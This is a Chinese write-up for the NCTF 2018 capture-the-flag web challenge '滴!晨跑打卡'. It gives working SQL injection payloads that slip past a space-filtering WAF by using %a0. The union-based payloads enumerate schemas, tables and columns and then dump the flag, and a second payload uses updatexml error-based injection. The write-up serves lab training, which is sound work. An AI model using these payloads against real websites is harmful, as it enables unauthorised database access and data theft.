NSS [NCTF 2018]滴!晨跑打卡

NSS [NCTF 2018]滴!晨跑打卡

很明显是sql注入

NSS [NCTF 2018]滴!晨跑打卡_第1张图片

输入一个1,语句直接显示了,非常的真诚和坦率

NSS [NCTF 2018]滴!晨跑打卡_第2张图片

简单尝试了一下,发现有waf,过滤了空格

NSS [NCTF 2018]滴!晨跑打卡_第3张图片

拿burp跑一下fuzz,看看有多少过滤

NSS [NCTF 2018]滴!晨跑打卡_第4张图片

过滤了# * - 空格那我们无法通过#或者–+来注释掉最后的单引号而闭合

空格->%a0       (试了一下只有这个能替代空格,其他的比如说%0b,%00都不行)

闭合不了了的话我们可以在最后加一个%a0and%a0%271%27=%271或者%a0||%27抵消掉最后的空格

法一:联合查询

payload(均在url输入,id=payload):

判断回显位:4
1%27%a0union%a0select%a01,2,3,4%a0and%a0%271%27=%271
爆库:information_schema、cgctf、mysql、performance_schema
1%27%a0and%a01=2%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(SCHEMA_NAME)%a0FROM%a0information_schema.SCHEMATA),2,3%a0and%a0%271%27=%271
爆表(cgctf库):pcnumber
1%27%a0and%a01=2%a0union%a0select%a01,group_concat(table_name),3,4%a0from%a0information_schema.tables%a0where%a0table_schema=%27cgctf%27%a0and%a0%271%27=%271
爆列(pcnumber表):id、bigtime、smalltime、flag
1%27%a0and%a01=2%a0union%a0select%a01,column_name,3,4%a0from%a0information_schema.columns%a0where%a0table_name=%27pcnumber%27%a0||%27
爆字段值:
1%27%a0and%a01=2%a0union%a0select%a01,(select%a0group_concat(flag)%a0from%a0cgctf.pcnumber),3,4%a0||%27

NSS [NCTF 2018]滴!晨跑打卡_第5张图片

法二:报错注入

1%27%a0and%a0updatexml(1,substring(concat(0x7e,(select%a0group_concat(flag)%a0from%a0cgctf.pcnumber),0x7e),15,30),3)%a0||%27

NSS [NCTF 2018]滴!晨跑打卡_第6张图片

非常奇怪的一点是,我联合注入回显位是4,但是报错注入回显位是3??????????

你可能感兴趣的:(CTF-web(零散wp合集),1024程序员节,Web安全,SQL注入,联合注入,报错注入,Mysql)